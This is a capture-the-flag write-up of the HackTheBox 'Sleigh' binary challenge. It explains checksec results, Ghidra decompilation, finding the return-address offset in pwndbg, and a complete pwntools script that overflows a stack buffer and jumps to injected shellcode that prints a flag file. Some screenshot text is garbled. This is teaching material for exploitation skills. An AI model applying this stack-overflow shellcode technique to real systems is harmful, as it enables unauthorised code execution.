Sleigh - PWN

Sleigh is a relatively simple binary exploitation challenge from HackTheBox Cyber Santa CTF. It includes exploiting a buffer overflow and running shellcode that we put on the stack. This is not as much a writeup as is it just "me just using this challenge as an excuse to ramble about shit I learned".

Identify Security Properties

Before we do anything exciting with the binary were given, we must first check to see what kinds of protections are in place. These give us an idea as to what kind of challenge it will be. A simple and effective tool for doing this is checksec.

```
→ sleigh checksec sleigh

[*] '/home/tobeatelite/CTF/sleigh/sleigh'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments

→ sleigh
```

Thankfully, the output is colour coded for us, we can see that there are no stack canaries, that *NX* is disabled, and that the binary has *RWX Segments*.

Basically, canaries are known values that are placed between a buffer, and data on the stack, to monitor for potential buffer overflows. If you try to do a buffer overflow where canaries are enabled, the canary would get overwritten, the change would get detected and the program would be terminated.


NX disabled means that code on the stack is executable ("No eXecute"). In this context and for our purposes, that means that if we could get our own shellcode onto the stack, and get the Instruction Pointer to point to it, we can execute shellcode and do lots of fun stuff with it. If NX was enabled, this is not possible.

checksec also notifies us that there are *RWX Segments* present. This means that there are segments in the binary, that are writable **and** executable **at the same time**. This is good for us.

Knowing the configurations of these protections lets us infer that we will be exploiting a buffer overflow, and executing shellcode that we put on the stack.

Testing The Binary

Now that we know a little about what our approach should be, we can run the binary and see what is interesting inside, and what is worthless fluff. Running it, we are presented with 2 options, but 1 of them immediately exits, and the second one leads us to another prompt, along with showing us a memory address, but we don't know what the address represents.



We also observe that there is a segmentation fault when we spam characters into this prompt so we can be sure that *this* is where the buffer overflow will be. Furthermore, you may notice that the memory address we got this time was different, this is because - going back to our checksec output, "PIE", or "Position Independent Executable" is enabled. meaning that the addresses to data are not absolute and will change each time we start the program. This could be an issue for us, but we are given an address by the program every time anyways, so it shoudn't be.

Disassembly

So we know that we have a buffer overflow, we know that we will be using shellcode in our payload, the only thing we don't know is where we want our Instruction Pointer to point to. The obvious candidate, is the memory address that is printed out to us, which would be correct. But simply guessing that it is the right address it is no fun and so we will reverse some of the binary to see and confirm what the memory address is actually pointing to.

We simply put the binary into Ghidra, find the repair function and rename some variables for clarity

```
😘 | 🔓 | 📓 | ▼ 🗴
🗶 😋 Decompile: repair - (sleigh)
       void repair(void)
         undefined8 buf_start;
         undefined8 buf_1;
         undefined8 buf_2;
         undefined8 buf 3;
         undefined8 buf 4;
         undefined8 buf 5;
         undefined8 buf 6;
         undefined8 buf 7;
         buf start = 0;
         buf_1 = 0;
buf_2 = 0;
         buf_3 = 0;
         fprintf(stdout,"%s\n[!] There is something written underneath the sleigh: [%p]\n\n",&DAT_00100c98,
         fprintf(stdout,"%s[*] This might help the repair team to fix it. What shall they do?\n> ",
                 &DAT_00100ca8);
         read(0,&buf_start,0xa4);
         fprintf(stdout, &DAT_00102150, &DAT_00100ca0);
         return;
      G Decompile: repair × Offined Strings × Functions ×
```

The function defines a buffer with a total of 64 bytes (each "undifined8" holds 8 bytes), and the pointer that is printed, points to the start of our buffer. Perfect.

Exploitation Theory


We have all the information to know what we must do. We must:

- find the offset from the start of our buffer to the start of the IP
- get some shellcode and calculate the amount of padding we must have after it
- write a script to exploit this for us

Finding the offset is quite simple. We generate a pattern, put it into the buffer. View the registers content during the crash to see what part would overwrite the IP. Compare that pattern with the generated pattern to determine the offset. This is basic BoF stuff

You can ignore everything except the highlighted line, the RSP Register.

```
sleig
[*] This might help the repair team to fix it. What shall they do?
> Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
[-] Unfortunately, the sleigh could not be repaired!
0x0000555555400b99 in repair ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
RAX 0x42
RBX
RCX
RDX
     0x7fffff7f944d0 (_IO_stdfile_1_lock) -- 0x0
RDI
     <u>0x7ffffffbaf0</u> ← 0xa6d31333b315b1b
RSI
R8
      0.40
      0x7ffff7f564e0 (step3a_jumps) ← 0x0
R9
R10
     0x7ffff7f563e0 (step3b_jumps) - 0x0
R11
      0x246
R12
R13 0x0
R14
     0x0
R15
     0x0
RBP 0x3363413263413163 ('c1Ac2Ac3')
     <u>0x7ffffffdc58</u> ← 0x6341356341346341 ('Ac4Ac5Ac')
RIP
► 0x555555400b99 <repair+205> ret
                                         <0x6341356341346341>
00:0000 rsp <u>0x7fffffffdc58</u> ← 0x6341356341346341 ('Ac4Ac5Ac')
             0x7ffffffdc60 <- 0x4138634137634136 ('6Ac7Ac8A')
01:0008
02:0010
             0x7ffffffdc68 -- 0x3164413064413963 ('c9Ad0Ad1')
03:0018
             0x7fffffffdc70 \leftarrow 0x7f0a41326441
04:0020
             0x7fffffffdc78 ← 0x100000064 /* 'd' */
             0x7fffffffdc80 → 0x555555400bca (main) ← push rbp
05:0028
06:0030
             0x7fffffffdc88 ∢- 0x1000
             0x7fffffffdc90 → 0x555555400c00 (__libc_csu_init) ← push
07:0038
► f 0 0x555555400b99 repair+205
   f 1 0x6341356341346341
   f 2 0x4138634137634136
   f 3 0x3164413064413963
         0x7f0a41326441
            0x100000064
   f 5
        0x555555400bca main
   f 6
pwndbg>
sleigh : gdb 😵 | sleigh : zsh 😵
```



Exploitation

This is the easiest part. PwnTools has so many cool things. If you provide a context, you can easily use shellcraft to get the shellcode that you need very easily.

```
# ToBeatElite
from pwn import *
def main():
   context.update(arch='amd64', os='linux')
   my_process = process('./sleigh')
   # Getting Buffer Address
   my_process.sendlineafter(b'>', b'1')
   my_address = my_process.recvuntil(b'>').split()[9][1:15]
   log.info(f'Found Stack Address : {my address.decode()}')
   shellcode = asm(shellcraft.cat('flag.txt')) # Canned Shellcode
   # Filling up the distance from our shellcode to the start of RIP
   padding = b'A' * (72 - len(shellcode)
   payload = flat(
       shellcode,
       padding,
       int(my_address, 16) # Address in Base16 Notation
   my_process.sendline(payload)
   log.info('Sending Payload')
   my process.recvline()
   my_process.interactive()
if __name__ == '__main__':
  try: main()
   except Exception as my_ex: print(my_ex)
```

Instead of calculating the padding in the script, you could also do the math yourself and set the padding to be hardcoded to b'A' * 28, and the final result would be the same

```
>>> from pwn import *
>>> context.update(arch='amd64', os='linux')
>>> len(asm(shellcraft.cat('flag.txt')))
44
>>> 72 - 44
28
>>> |
```

And we've pwned it.